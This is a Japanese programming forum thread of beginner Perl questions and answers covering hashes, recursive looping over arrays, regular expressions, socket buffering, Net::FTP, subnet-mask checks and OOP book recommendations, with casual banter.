ちょっと前に出た日付ネタだけど @order = qw(4 1 2 0 3);#0=>wday 1=>mon 2=>mday 3=>hh:mm:ss 4=>yyyy @time = @{ [ split(/\s+/, scalar(localtime) )] }[@order]; こんなんどうだろ
上手く説明できるか自信が無いのですが、質問があります。 $word = "ho==ge,fu==ga,fo==oo\n"; $data = { hoge => 'hoge', fuga => 'fuga', fooo => 'fooo', }; という元々のデータがありまして、 $wordを分割して%$dataに入れたいのです。 入れるだけなら簡単なのですが、出来る限り短いコードで書きたいのです。 my $tmp = { map { split /==/ } split /,/, $word }; ↑こんな感じに新しいモノに入れるのはスグ思いついたのですが、 元々あるハッシュ(%$data)に追加するにはどうすれば良いのかわからなくなり質問させて頂きました。 my ($key, $val); foreath (split /,/, $word) { ($key, $val) = split /==/; $data->{$key} = $val; } ↑この方法以外に、もっと良い方法があれば教えて頂きたく。
$data->{$_->[0]} = $_->[1] for map { [ split "=="] } split "," => $word; まぁ読みにくいがね。 あと$wordはchompしないと改行が残る。
>>600 ありがとうございます。大変参考になりました。
>>587-588 頭固いのはお前らだ。
頑ななまでにPerlとCGIを一緒にしたがる残党が残ってて困る。
ちと、教えてくんさい。 配列要素の組み合わせ処理を、foreachを使ってやってるんだけども、 配列の数が変わるたびに、変更しないといけないので、悩んでいます。 順列と同じように、再帰を考えてみたんですが、上手い事いきません・・・・ 例を書くとこんな感じです。 何重にもなるループを綺麗にまとめる方法は、無いでしょうか。 use strict; my @list1 = (1, 2, 3); my @list2 = (4, 5, 6); my @list3 = (7, 8, 9); foreach my $i (@list1) { foreach my $j (@list2) { foreach my $k (@list3) { print "$i $j $k\n"; } } } exit;
>>603 もう少し説明してくれるかな。
何がしたいのかどうも伝わってこない。
そのコードを見る限りだと、
for ($_=0; $_<=$#list1; $_++) {
print "$list1[$_] $list2[$_] $list3[$_] \n";
};
って事なのかな?
なんだ、おい、算数もだめか?
>>604 603を実行すると、
147,148,149,157・・・・368,369
と表示したいんです。
例では、配列を3つ書いていますが、この配列が5個に増えた場合、
それに合わせて繰り返し文を書いていかないと、出来ないのか?
ってことなんです。
>604を実行したら、147,258,369しか出てきませんでした。
my @list1 = (1, 2, 3, 4); my @list2 = (5, 6, 7, 8); my @list3 = (9, 10, 11, 12); my @list4 = (13, 14, 15, 16); hoge(\@list1,\@list2,\@list3,\@list4); sub hoge { my @lists = map { [$_, 0] } @_; LOOP: while(1) { print join " " => map { $_->[0]->[$_->[1]] } @lists; print "\n"; $lists[0]->[1]++; for my $i (0..$#lists) { if ($lists[$i]->[1] >= scalar @lists) { $lists[$i]->[1] = 0; if($lists[$i+1]) { $lists[$i+1]->[1]++; } else { last LOOP; } } } } } こんなん何に使うんだ?w
あ、あと順番逆だけどその辺は工夫してやってくれ。 sortするだけでも元に治るだろうし。まぁ適当に。
>>607 あ、ありがとうございます。
配列のリファレンス使って、やる方法があったんですね。
細かいとこまで、ジックリ解読して使わしてもらいます。m(_ _)m
もやもやが吹っ飛んだ気分で、ぐっすり眠れそうです。
再帰でもできるみたい my @list1 = (1, 2, 3, 4); my @list2 = (5, 6, 7, 8); my @list3 = (9, 10, 11, 12); my @list4 = (13, 14, 15, 16); hoge('',\@list1,\@list2,\@list3,\@list4); sub hoge { my $string = shift; unless ($#_ + 1) {print $string, "\n";} else { my $aref = shift; my @restarray = @_; foreach my $s (@$aref) { &hoge($string.' '.$s, @restarray); } } }
my @list = ([0,1,2,3], [4,5,6,7], [qw(8 9 A B)], [qw(C D E F)]); hoge(\@list); sub hoge { my($list, $depth, $str) = @_; if ($depth < @{$list}) { hoge($list, $depth + 1, $str . $_) for @{$list->[$depth]}; } else { print $str, "\n"; } }
>>607 なんに使うかというと、取り込んだデータの種類別組み合わせがあって、
丁度こんな形の繰り返しが出てきたんですよ。
n!の順列じゃないので、どうやって良いのか、迷ってたんです。
>>611 >>612 再帰は自分も考えたんですが、複数ある配列をどやって、
再帰ルーチンに渡すのかが思いつかなかったんですが・・・・・勉強になります。
何重もある繰り返し文が、コンパクトにまとまると、綺麗っすね。
もっと勉強してきやす!!
再帰hoge内でmap使いたいけど $_ がグローバルだから使えないね。ちょっちださい駱駝
>>584 板違いだけど、Apache のバグで location とかで飛ばすと
charset がISO-8859とかになっちゃうのがあった
面白いからメモっとこう 使う機会は無いだろうけどw
こんな手もあるね。この方がPerlぽいか my @list1 = (1, 2, 3, 4); my @list2 = (5, 6, 7, 8); my @list3 = (9, 10, 11, 12); my @list4 = (13, 14, 15, 16); eval &hoge(\@list1,\@list2,\@list3,\@list4); sub hoge { my $code='$,=\' \'; my @a=();'; for (my $i=0; $i<=$#_; $i++) { $code .= "foreach my \$loop$i ("; foreach (@{$_[$i]}) {$code .= $_. ',';} $code .="){push (\@a, \$loop$i);"; if ($i==$#_){$code .= 'print @a,"\n";';} } $code .= 'pop (@a);}' x ($#_ + 1); return ($code) }
初心者的な質問ですみませんが、 print文で print "./hoge/hoge.txt";としてもhogeディレクトリを予め作っておかないと hoge.txtが作成されません、 いちいちmkdirせずとも、 ディレクトリごとファイルを作成できないでしょうか
できない。
620 :
デフォルトの名無しさん :03/10/12 00:38
ageちゃった、スマソ
622 :
デフォルトの名無しさん :03/10/12 01:58
openじゃないの??
俺は621じゃないけど。。。 俺もopenだと思う。618が。 て言うか、あらかじめディレクトリを作ってもそれじゃ無理。みたいな。
なんか面白いやつがいるな(w
>>618 print "./hoge.txt";
でどうなるよ、これだとディレクトリは関係ないぜ?(w
つか、どこでそんなインチキ学んだのかと小一時(ry
>>624 あらかじめ作らないでやるということらしい
>>618 無理
>>625 ハゲ?
と無駄にレス
質問なんだが
$〜 の変数はどのぐらいの容量ある?(使える?)
1Mバイトぐらい平気かな?
特に制限ないんじゃなかったっけ? 現実的には、OSや実装メモリなんかに制限されるんで 2GBぐらいかと思うけど・・
煽っておいて自分は厨な質問・・・
>>628 あんたは以下のソースを実行する事
$in = ".";
for($i=0;$i < 1000;$i++){
$out = $out . $in;
print $i . "\n" if (($i % 10) == 0);
$in = $out if (($i % 10) == 0);
}
exit;
>>627 制限自体は無いみたいだが
速度等から考えると空きメモリぐらいが限度か・・・
>>629 それを実行してどうしろと?
お前が実行してみるべきじゃないのか?
631 :
デフォルトの名無しさん :03/10/12 13:13
$_ = 'ABCDEFG1234567abcdefg'; があるとします。 正規表現で "CDE'から'cde'の間だけを示す事が出来ますか? 上の例でいえば、示しているのが 'FG1234567ab' となるようにしたいのです。 表現がわかりづらかったらすみません。
>>631 $_~/CDE(.*)cde/;
print $1;
633 :
デフォルトの名無しさん :03/10/12 13:30
>>632 ありがとうございます。
何度も質問を挙げてすみません。
>>631 の例で
$_ =~ m /[A-Z](.*)[a-z]/;
としたら、範囲は「BCDEFG1234567abcdef」になります。
[A-Z]は最初のマッチで、何故[a-z]は最後のマッチが示されるのでしょうか?
[A-Z] と [a-z] の間の数字だけを示すにはどのような表現がありますか。
どなたか教えてください。
よくわからんが、 /[A-Z]*(\d*)[a-z]*/ ってことかな
>>633 数字列は\d+にマッチする。
perlはデフォルトで「マッチする中でもっとも長いもの」にマッチする。
もっとも短いものにしたい場合は、繰り返し記号の後ろに?をつける。
/[A-Z]+(.+?)[a-z]+/ なら、数字列が$1に入る。
$_ =~ m /[A-Z]([0-9]*)[a-z]/; ↑ 試してない。。。が言いたいことはわかってくれ
被った。この場合?はいらんな。
たくさんかぶったね(w もしかして私の間違ってる?
>>639 マッチしないんじゃ…?
[A-Z]の後に+か*とかないと
>>634 >
>>633 > abcdefも.*にマッチするから。
そうだったんですか。
ありがとうございます。
>>635 > よくわからんが、
> /[A-Z]*(\d*)[a-z]*/ ってことかな
説明がわかりづらかったですか。
自分でもどう表現してよいか解っていませんので許してください。。
結果は以下の通りでした。
$& => ABCDEFG1234567abcdefg
$1 => 1234567
642 :
デフォルトの名無しさん :03/10/12 14:16
>>636 >/[A-Z]+(.+?)[a-z]+/ なら、数字列が$1に入る。
$& => ABCDEFG1234567abcdefg
$1 => 1234567
でした。
>>637 > $_ =~ m /[A-Z]([0-9]*)[a-z]/;
$& => G1234567a
$1 => 1234567
間違っていませんでした。
初心者なので一つ一つ試したりして勉強になりました。
目的の動作を何とか引き出せそうです。
ありがとうございました。
>>640 だがよく考えたら全然Okじゃないか。昼からぼけているな。ゴメソ
<img src="hoge"><a href="hoge">hogehoge</a> となってるやつから"<"と">"でくくられた所だけを取り出したい どうすればいい? *"<"と">"の間に改行コードがある場合もある
初心者初心者と連呼して自己弁護するのもいいが、マニュアルくらい読めよ。 ぜんぶ載ってる。
>>644 > "<"と">"でくくられた所
この場合は具体的にどう取り出したいんだ?
>>646 @stuff = split /\x3C/, $_; と同じような感じで
変数 => 中身
$_ => <img src="hoge"><a href="hoge">hogehoge</a>
↓取り出したあと
$stuff[0] => img src="hoge"
$stuff[1] => a href="hoge"
$stuff[2] => /a
としたい
$hoge = qq|<img sr\nc="hoge">\n<a \nhref="hoge">\nhogehoge</\na>|; @stuff = $hoge =~ /<([^<]+)>/gs; こんな感じ?
こんな方法あったのか・・・ $msg =""; open FILE , "C:/Program Files/Netscape/Users/Bookmarks.html"; foreach (<FILE>) { s/\r//g; s/\n//g; $msg = $msg . $_; } close FILE; $_ = $msg; s/\x3C/\n\x3C/g; $msg = $_ ; foreach ($msg) { #ここで処理 print $_ . "\n" if ($_ ne ""); }
訂正 $_ = $msg; s/\x3C/\n\x3C/g; @msg = split /\n/, $_; foreach (@msg) { @stuff = $_ =~ /HREF="([^\x22]+)"/gs; print $stuff[0] . "\n" if ($stuff[0] ne ""); }
>>649-650 それはつまりこういう事がしたいの?
my $file = 'C:/Program Files/Netscape/Users/Bookmarks.html';
open FILE, '<' . $file or die $!;
local $/;
my @stuff = <FILE> =~ /HREF="([^"]+)"/gs;
close FILE;
print join "\n", @stuff;
おまいら噛み合って無いな
ここ一連の質問者全員同じ様な気がするな
俺は煽られたわけじゃないけど
>>626 ってバカだね。
print "./hoge.txt"でファイルができると思ってるなんて。
655 :
デフォルトの名無しさん :03/10/13 01:23
>>654 まったくもってその通りだな
open FILE , ">./hage";
close FILE;
でファイルは出来るな
656 :
デフォルトの名無しさん :03/10/13 02:08
みなさん perl -w に use strict; use Data::Dumper; などを使用されている清く正しいperl使いなんでしょうか。 メインでperlを使っているわけではなく たまになんか書かされたりするんですが いつもPerlの変数リファレンスでワケワカらなくなります。 上記モジュールをuseしないと全くコーディングが終わりません。 自分が触っている変数がハッシュのリファレンスを格納した配列を格納した ハッシュのリファレンス・・・とか複雑なデータモデルだとお手上げ。 他の型がキッチリしててクラスが「簡単に」 使える言語(言ってしまえばjavaとか)に比べるとperlを使いこなすのは 熟練が必要だなあといつも思います。悪口じゃないスよ。 ってゆーか上記のように複雑なデータ型を扱うのに コツあったら聞きたいんです。クラス使えって言われそうですが 何度がチャレンジはしたのですが概念ではなく書式・文法レベルで複雑で 挫折を繰り返しております。
えと、あとPHPとかのrequire_atonece ? のように ライブラリの重複読み込みをさせないようにするには どうしたらいいのかエロい >657 さん教えて。ダメ? これでいつも苦労してまふ。
658 :
デフォルトの名無しさん :03/10/13 02:27
perl マニアの方、教えてくだされ。 クラスのアクセサの定義に Class::Accessor を使っていたんだけど、 (↓のような感じで)perl 5.6.1 になったら Class::Accessor が無い! 代わりに何を使えばいいんだろう。。Class::Struct だろうか。。? -- #!/usr/bin/perl package Foo; use strict; use base qw(Class::Accessor); Foo->mk_accessors(qw(hoge huga)); package main; my $foo = new Foo; $foo->hoge('boooo'); $foo->huga('goooo'); --
>>657 間違えた。自分に言い聞かせてどうするのだ。
660 :
デフォルトの名無しさん :03/10/13 06:18
こんにちは select(SOCK); $| = 1; select(STDOUT); これって何をしているのでしょうか? ちなみにマニュアルによると・・・ 「selectでファイルハンドルを指定しおくとwriteやprintで引数を省略できます」 「$| は0以外なら現在選択中のファイルハンドルに対するすべてのwrite,print文の 実行後にバッファをフラッシュします」
>>660 某所の説明
# ファイルハンドルSOCKETをバッファリングしない
select(SOCKET); $|=1; select(STDOUT);
$msg = "GET http\://$host$getpath HTTP/1.1" . "\r\n";
$msg .= "User-Agent: perl.pl" . "\r\n";
$msg .= "Connection: close" . "\r\n";
$msg .= "Host: $host" . "\r\n";
$msg .= "\r\n";
print SOCKET $msg;
#print "rquest\n" . $msg;
while (<SOCKET>){
s/\r/\n/g;
s/\n//g;
なるほど。一度きれいに掃除してからサーバと会話するということみたいですね。 ありがとうございます。
>>663 なんか違うぞ。
フラッシュしないと、print $msg を実行しても、どっかの
バッファに入るだけで、サーバへ送信しないことがある。
それを防ぐだめに、
>>660 みたいなことをするのだ
use FileHandle; ... SOCKET->autoflush(1);
マニュアルに使われてる言葉が分らないならそれも調べなさいよ・・・ _| ̄|○
>>656 古い。今はuse warningsを使う。
Perlのリファレンスは演算のできないCのポインタという感じだが...
たしかにクラスを使うのは面倒だ。俺はPerlから入って、Python、Java、C++と進んだがPerlの
実装はひどいと思う。
複雑なデータ構造を扱いたいのなら単に紙に書いておけばいいだけでは?
そりゃ頭の中だけならこんがらがるよ。
>>657 requireでもuseでも重複読み込みしないようになっている。
>>658 これって標準モジュールじゃないよね?
自分でインスコするしかないのでは?
>>656 このClass::Accessorを使うと多少はクラスが使いやすくなるよ。
データ構造のためにクラスを使うって使い方は
Perlじゃ余り上手く行かないね、面倒なだけ
逆に言えば、面倒な準備無しに幾らでも複雑なデータ構造を扱えるのがウマーなんだが
それこそ、メモでもコメントでも用意すれば良い話
実は、リファレンス/デリファレンスの理解が怪しいのが原因だったりしないかい? >
>>656
671 :
デフォルトの名無しさん :03/10/13 23:44
>>667 今はuse strictじゃなくてuse warningsを使った方がいいの?
672 :
デフォルトの名無しさん :03/10/13 23:45
perl -wのことだろ
674 :
デフォルトの名無しさん :03/10/14 02:29
ディレクトリの中にアミノ酸配列が記されたファイルが5枚あります。それぞれのファイルのアミノ酸配列について疎水性指標を計算し、ファイル名とともに表示しなさい。 ●与えられたディレクトリ:dp18 ●アミノ酸配列を、疎水性指標に変換するハッシュは以下のものを用いる。 A => "1.8", V => "4.2", L => "3.8", I => "4.5", M => "1.9", W => "-0.9", F => "2.8", P => "-1.6", G => "-0.4", S => "-0.8", T => "-0.7", C => "2.5", Y => "-1.3", N => "-3.5", Q => "-3.5", K => "-3.9", R => "-4.5", H => "-3.2", D => "-3.5", E => "-3.5", ディレクトリを引数としてperlスクリプトを実行する時は、以下のように入力。 perl [スクリプト名] [ディレクトリ名] これで以下以外のやり方ってありますか?
#/usr/pin/perl -w %aa12hydro = ( A => "1.8", V => "4.2", L => "3.8", I => "4.5", M => "1.9", W => "-0.9", F => "2.8", P => "-1.6", G => "-0.4", S => "-0.8", T => "-0.7", C => "2.5", Y => "-1.3", N => "-3.5", Q => "-3.5", K => "-3.9", R => "-4.5", H => "-3.2", D => "-3.5", E => "-3.5", ); if (!@ARGY) { print "The target directory must be specified as the command-line argument\n"; exit; } $indir = shift(@ARGY); opendir(DIR,$indir) || die; print"\n"; print " Direntory: ", indir, "\n"; print "-----------------------------", "\n"; @file_entry = readdir(DIR); closedir(DIR); foreach $entry (@file_entry) { if($entry !~ /.txt$/){ next; }
$file_path = "./" . $indir . "$entry; open(IN, $file_oath) || die; $aa = ""; while (<IN>){ chomp; $aa .= $_; } close(IN); @aa_part = split(//, $aa); $count_hydro = 0; foreach $item(@aa_parts){ $count_hydro += $aa12hydro{$item}; } print "File:", $entry, "\n"; print "Hydrophobicity: ",$count_hydro, "\n"; } exit;
いったん $aa に文字列をすべてつないだあとで @aa_parts に分割しているのが無駄 そもそもファイルの読み込みのループと @aa_parts のループをわけてるのが無駄
>>674-676 typo だらけなのは何とかなりませぬか。
宿題だったらヤなのでわざと縮めて書いた。適宜整形して読み解いて下さい。
#!/usr/pin/perl -w
my%h=qw(A +1.8 V +4.2 L +3.8 I +4.5 M +1.9 W -0.9 F +2.8 P -1.6 G -0.4 S -0.8 T
-0.7 C +2.5 Y -1.3 N -3.5 Q -3.5 K -3.9 R -4.5 H -3.2 D -3.5 E -3.5);(my$d=pop)
=~s|/$||;opendir(D,$d)||die$!;my@f=sort grep/\.txt$/,readdir D;closedir D;print
" Direntory: $d\n-----------------------------\n";undef$/;for(@f){-f"$d/$_"or
die"$_ isn't a file.\n";open F,"<$d/$_"or die$!;(my$c=<F>)=~s/(.)/$h{$1}/g;
print" File: $_\nHydrophobicity: ",eval$c,"\n"}
白痴天才が集うスレはここですか
Perlばかりやっていると○○になる
田代?
頑なに定石を外すスレはここですか?
typoって何ですか?
一つの言語ばかりやってると馬鹿になるけど、 いくつかの言語をひろくやってると、あまり深く通じることができない。 難しいもんだ。Perlはもう1年ぐらい触ってないから、 殆ど忘れた。UNIX上では殆どshで事足りるし。
sh な方にご質問! スクリプト内で cdまたはchdirしても、スクリプトが 終ると元のディレクトリにもどっちゃうけど、そうならないようにする手 はありますか?
686 :
デフォルトの名無しさん :03/10/15 21:45
Win32::ConsoleのInputの戻り値がundefしか返って来ないのですが これはバグってやつですか? Inputメソッドって勘違いじゃなければC言語のscanfのようなものだと 思うのですが。
>>683 英和辞書引いてみな。暗号でもなんでもなく、単なる英語だよん。
>>685 そういうもん。子の環境は親に影響しない。さらにスレ違い。
>>688 場合によってはできる。
だまされたと思ってうにくす板で聞いてみ。
>>685 (間違っても犬板へは行かないように。)
690 :
デフォルトの名無しさん :03/10/16 02:06
$_ = "123abc456def789ghi"; while (m/[1-9]/) { print "$&\r\n"; } これをすると、"1"の数字が際限なく表示されていきます。 $_の中の数字だけを一文字ずつ取り出すにはどう表記したら良いでしょうか?
>>690 print join("\r\n", split(//)), "\r\n";
while (s/\d//)
ごめん。
>>692 は無視しといて。「数字だけを」っての見落としてた。
>>691-695 ありがとう。
'm/[1-9]/g' で 'g' を入れておかなきゃならかったんだね。
助かりました。
<a href = "
http://hoge1/ " target ="new>hoge2</a>
上記のようなリンクからhoge2とhoge1をそれぞれ抽出するにはどうしたら良い?
既出
701 :
デフォルトの名無しさん :03/10/16 13:49
もしくはHTML::Parserを使え
>>703 > もしくはHTML::Parserを使え
モジュールのインストールでエラーが出たので諦めた。
自分でサブルーチンを作って、スキルの足しにしたい。
モジュールの導入もできないやつが(
>>704 じゃあまずPerl以前に字句解析の勉強しな
>>704 ここで教えてもらっちゃスキルの足しにならないのでは?
>>704 既に解決されている方法を実装し直すのは無駄。そんなものはスキルでも何でもない。
現代のプログラミングは昔のそれとは違い、機能の断片をインターネットで拾ってきて
レゴのように積み重ねる方法が主流だ。Javaなんかはその典型。
制御とか組み込みは違うがそんな分野ではPerlは使わない。
>機能の断片をインターネットで拾ってきて >レゴのように積み重ねる方法が主流だ。 それがperlなのだよ サンプルプログラムを変えれば別のプログラムになる 例: httpプロトコルでページを取ってくる(サンプルがあったとする) →あるHPから串リストを取って来てデータベースに入れる(解析機能等を追加する)
力説するほどのもんでも
>>708 機能を作る時代が終わって、今はソリューションを作る時代なんだよ。
712 :
デフォルトの名無しさん :03/10/17 08:58
おはようございます。 早速ですが質問です。 配列をループでまわして処理するとき、for と foreach どっちが早いのですか?
713 :
デフォルトの名無しさん :03/10/17 10:15
Delphiしか知らないのですが、Delphiだとforループの制御に使った変数を ループを抜けたあとに参照しようとすると、 「[警告]for ループ 脱出後の ループ制御変数の値は不定です」みたいな警告が出ちゃうんですけど、 perlで例えば for($i = 0; $i < 10; $i++) { 適当な処理; } ここで$iの値10を使いたい っていうのは問題ないのですか?
ない。
>>667 ドキュメントに残せっていうのはごもっとも。
しかしそうするとPerl==ソースのみではすげー理解がしづらい言語って
イメージと同じになってしまうので少し負けた気分…。
>>668 重複読み込みしないようにエラーになるのを回避したいということです。
C言語の#ifdef みたいな感じで。
>>670 単純な一つの階層?のリファレンス/デリファレンスの理解はできているんですが
「2重配列の中の無名ハッシュに無名配列が格納されて…」といった形式の
入れ子データを扱うときに頭で把握してても文法レベルでワケワカになるので
ぶっちゃけご指摘のとおりと言えます。自分のスキル不足。
Perlの場合はインタプリタのワーニングが結構親切なんで
なんとか助かってます。机上デバックのみだと一生コーディング終わらないような
気もする。
718 :
デフォルトの名無しさん :03/10/17 12:50
DBIプログラムに関してはここでいいのでしょうか?
720 :
デフォルトの名無しさん :03/10/17 15:08
すごく初歩的な質問かもしれないのですが、 perlのソースでよく HOGE:{ 〜 } こういうの見るんですけど、これってなんですか? ただ単にスコープの問題で、区切ってるだけですか?
>>720 ・スコープを区切る。
・そのブロックが何をしているのか分かり易くする為、名前を付ける。
・last、next、redo による分岐処理用。
俺はよくこんな風にする。 MAIN: { #処理 }
>>711 あのさ、「ソリューション」って「IT革命」並みに恥ずかしい言葉だよね。
>>717 ドキュメントなんて大げさなものではなくて、ただのメモだよ。
複雑なデータ構造をソースだけで追うのはどの言語でも面倒。
>重複読み込みしないようにエラーになるのを回避したいということです。
(゚Д゚)ハァ? 重複読み込みさせたいということ? なぜに?
728 :
デフォルトの名無しさん :03/10/18 06:17
>>729 ううっ。perlbootのやつですか。
それ読んだんですけど、あまりわからなかったので
本を購入しようと決意して質問しましたです。
とりあえず、下の方のマニュアルを読んでみます。
サンクスです。
>>728 オブジェクト指向Perlマスターコース 読んだ。
わかったような気がしたがモヤモヤしていた。
で、実用Perl〜(黒豹)読んだらモヤモヤが多少晴れた。
でまた読んだら、まあぶっつけよりはもうちとわかった。
>>731 レスありがとうございます。
もしかして黒豹より難しいのかな
まずい、もう注文してしまった(´Д`;)
オブジェクト指向Perlマスターコース はリファ的に使ってるかな。 最初から読めばそれなりなんだろうけど、 もう多少OOPerl使ってる人にはちと退屈かも。 まぁサンプルコードが多いから、リファとしては有効。 持ってて損はないかな、という感じ。
>>735 詳しい説明ありがとうございます。
めちゃ参考になりました。
{ my $sub = sub { # ここで自分を再起呼び出ししたいのですが、出来ますか? }; &{$sub}; }
738 :
デフォルトの名無しさん :03/10/19 03:16
できる
{ my $sub = sub { # このように毎回渡していくのを思いついたのですが、 # 再帰が深くなるほど馬鹿らしくなる気がします。 # 一般的にはどうするのでしょうか? my $sub = shift; &{$sub}($sub); }; &{$sub}($sub); }
>>739 「馬鹿らしくなる」ってのが、いまいち意図がくみとれん。。。
とりあえず、無限ループはさせないでくれ。
>>739 my $daa = { daa => { daa => { daa => 'daa!' } } };
my $sub;
$sub = sub {
my($arg, $count) = @_;
$count++;
if (ref $arg eq 'HASH') {
print "$count, ";
$sub->($arg->{'daa'}, $count);
}
else {
print $arg;
}
};
$sub->($daa); # 1, 2, 3, daa!
>>728 その本はオライリー本のようにみっちり、かっちりしたタイプ。しょーもないことも丁寧でわかりにくい言葉
でくどくど説明している。
よほどのド田舎に住んでいるのでなければ、図書館や本屋で一度めくってみるべき。
>>742 今朝、宅急便で届いてしまいました(T▽T)
わかりにくそうですが、何とか読破してみようと思います。
レス感謝!!
>>740 $sub がバケツリレー状態になってるし、
サブルーチンの数が増えた時に使えないから馬鹿かなと。
>>741 サンプルコードありがとうございます。
これをいろいろ書き換えて試したら再帰呼び出しするときの
重要なポイントがわかりました。
答えてくださった皆さんどうもありがとうございました。
>>741 $countはグローバルだよね?
それがちょっとキモイ...
チガウネ(;´Д`)
perl勉強したいんでいい本教えてください。 ちなみにawkはできます。
ラクダ本を頭から読むのが一番近道なきがしてきた。 まだ勉強中だけど、入門書はなんの役にも立ってないかも。
>>749 その根性があればね。過去に読んだ入門書が、ラクダ本を読解する助けになっていないか?
俺の場合はperlに限らないが同じテーマのいろいろな本を多く借りてきて少しずつストライプ状
に読むことが多い。分からないことも言葉を変えられると分かったりする。
俺は「デスクトップリファレンス」とかを除いてオライリー本を頭から尻尾まで読破できたためしがない。
752 :
デフォルトの名無しさん :03/10/19 18:40
Net::FTPモジュールを使ってファイルを 1つずつ取得したいのですが上手く行きません use Net::FTP; $ftp = Net::FTP->new('hostname'); $ftp->login('username','password'); @filelist = $ftp->nlst(); forech $file (@filelist) { $ftp->get("$file"); } $ftp->quit; どなたかおすえて下さい
>>752 どう「上手く行かない」か書いてくれないと
放置されてしまう罠
>>752 forech か?
まさかとは思うが。。。
失礼しました、その辺のログです
(略)
Net::FTP=GLOB(0x8188840)>>> PORT 127,0,0,1,128,170
Net::FTP=GLOB(0x8188840)<<< 200 PORT command successful.
Net::FTP=GLOB(0x8188840)>>> NLST
Net::FTP=GLOB(0x8188840)<<< 150 Opening ASCII mode data connection for file list.
Net::FTP=GLOB(0x8188840)>>> PORT 127,0,0,1,128,171
Net::FTP=GLOB(0x8188840)<<< 226 Transfer complete.
Net::FTP=GLOB(0x8188840)>>> RETR Net::
FTP::A=GLOB (0x8188b10)
Net::FTP=GLOB(0x8188840)<<< 200 PORT command successful.
Net::FTP=GLOB(0x8188840)>>> QUIT
Net::FTP=GLOB(0x8188840)<<< 550 Net::
FTP::A=GLOB (0x8188b10): No such file or directory
結果は取得できません
まさか、まさかそんな事はあるまい.....
@filelist = $ftp -> nlst(); のところを @filelist = $ftp -> ls(); にしては駄目なの?
>>757 あっ!出来ました。
別にnlstにこだわる理由は無いので、それでOKです
レスくれた皆さん有難うでした
ヽ(・ω・)/ ズコー \(.\ ノ 、ハ,,、  ̄ よく動いたなぁ・・・
760 :
デフォルトの名無しさん :03/10/20 12:57
サブネットマスクが「192.168.0.0/24」の場合 あるIPアドレスがその中に該当するかどうかを判断したいのですが、 どのようにするのがPerlらしいでしょうか?
if( $ipaddr =~ /^192\.168\.0/ ) じゃダメ? ダメならちゃんとビット演算するしか...
>>761 正規表現だと例えば「192.168.0.0/26」だった場合には対応できませんよね?
できるならPerlらしくてスマートだと思いますが。
## 我ながらすごいヘタレ。誰か添削きぼんぬ。変数名は適当です。 my $where = '192.168.0.32'; my $good = '192.168.0.0'; my $mask = '255.255.255.0'; check_addr_by_mask($where, $good, $mask) or die; sub check_addr_by_mask { my $test = shift; my $net = shift; my $mask = shift; my $a1 = a2bin($test); my $a2 = a2bin($net); my $a3 = a2bin($mask); my $n = $a3 =~ tr/1/1/; return(undef) if( (substr($a1, 0, $n)) ne (substr($a2, 0, $n)) ); return(1); sub a2bin { my $m = shift; my ($b, @test); if($m =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) { $test[0] = $1; $test[1] = $2; $test[2] = $3; $test[3] = $4; } else { return(undef); } foreach(@test) { return(undef) unless( ($_ >= 0) and ($_ <= 255) ); $b .= sprintf("%08b", $_); } return($b); } }
764 :
デフォルトの名無しさん :03/10/20 14:26
¥ 0 1 2 3 4 5 0 あ い う え お か 1 き く け こ さ し 2 す せ そ た ち つ 3 て と な に ぬ ね こんな感じの2次元配列があったとして「あ,い,う,え,お,か」を 取得するのが、@{$array[0]} だったとした場合、 縦の「か,し,つ,ね」を取得するには、$array[$i][5]の$iをループで動かしながら 取得するしかないのですか? @{$array[0]} ←こんなふうにスマートに取る方法はないのでしょうか?
map
>>762 文字列でやるのがPerlっぽいという事なら
# check_addr_by_mask('192.168.0.1', '192.168.0.0', 26);
sub check_addr_by_mask {
(my $ip = shift) =~ s/(\d+)\.?/unpack 'B8', pack 'C', $1/eg;
(my $net = shift) =~ s/(\d+)\.?/unpack 'B8', pack 'C', $1/eg;
my $mask = shift;
return substr($ip, 0, $mask) eq substr($net, 0, $mask);
}
>>765 レスありがとうございます。
が、mapを使ってどのようにいっきに取得できるのかがわかりません。
結局は、$array[$i] を0〜3まで回さないと取れないような・・・??
もうすこしヒント頂けないでしょうか?
>>766 イイ!
そっか sprintf よりも pack/unpack の方が断然効率良いですね、感動しますた。
>>769 HPすごく参考になりました。ありがとうございました。
>>769 map { $$_[5]; } (@array);
じゃダメ?
$q = new CGI; $a = $q->param('name'); 2行目で、アロー演算子を使わないで書く方法はありますか?
OOPerlだからそれしかないんじゃ?
>>774-775 レスどうもです。
おかげさまで解決できました。ありがとうございました。
ま、何はともあれまずマニュアルってことだな
>>773 CGI::ReadParse(\%FORM);
$a=$FORM{'name'};
これじゃあ駄目?
オブジェクト指向風ではないけど、cgilib.plと互換性があるし。
ってスレ違いかな?
何を言ってんだよ・・・ハァ
第1引数にインスタンスを渡せばいいだけ。
use CGI qw(param); $a = param('name');
782 :
デフォルトの名無しさん :03/10/21 01:41
perlのオブジェクト指向なんて鼻糞でしょ?
まぁ、文字通り取ってつけたものだしな。
784 :
デフォルトの名無しさん :03/10/21 22:30
>>784 それ見てわからないなら あきらめた方がいいよ
初歩的なことでつまづいています。 ------------------------------------- my (@nums, $num_a, $num_b, $num_c); @nums = 4..13; $num_a = pop (@nums); $num_b = shift (@nums); if ($num_a gt $num_b) { $num_c = $num_a; } else { $num_c = $num_b; } print "$num_c\n"; exit; ------------------------------------- これを実行したら 13 が出力してほしいのですが、 4 と出力されてしまいます。 @nums = 4..51; などというようにすると、出力は 51 になるので、どうも一番上の位で大小を判断しているのようなのですが。。。 ここいらあたりがよく理解できないので、何か参考になるドキュメントや検索キーワードなどをご教授願えないでしょうか ちなみに Perl のバージョンは v5.6.1 build for ppc-linux となっています。 よろしくお願いします。
>>786 文字列で比較しているから。
if ($num_a gt $num_b) {
↓
if ($num_a < $num_b) {
(゚Д゚)ウマー
>>787 ああ、ありがとうございます。
数値演算子と文字列演算子の区別がついていませんでした。
手元の本に書いてあるやん。ちゃんと読めよ。。。>自分
>>788 漏れも昔は、
cmp.b #$1F,d0
bgt LABEL01
なんて書いてたから間違えてたことがあったんよ。。。@gt と < 、 lt と >
# Perl術士のユーモアセンスを信じて… Perl術士の吸う煙草は、やはりCAMELなのですか?
信じるな
俺、今日からCAMELにしようかな
貧乏なので「小粋」吸っています。
煙草なんて吸う奴は馬鹿です
タバコを吸うから馬鹿なんじゃない、馬鹿だからタバコを吸うんだ。
797 :
デフォルトの名無しさん :03/10/22 21:35
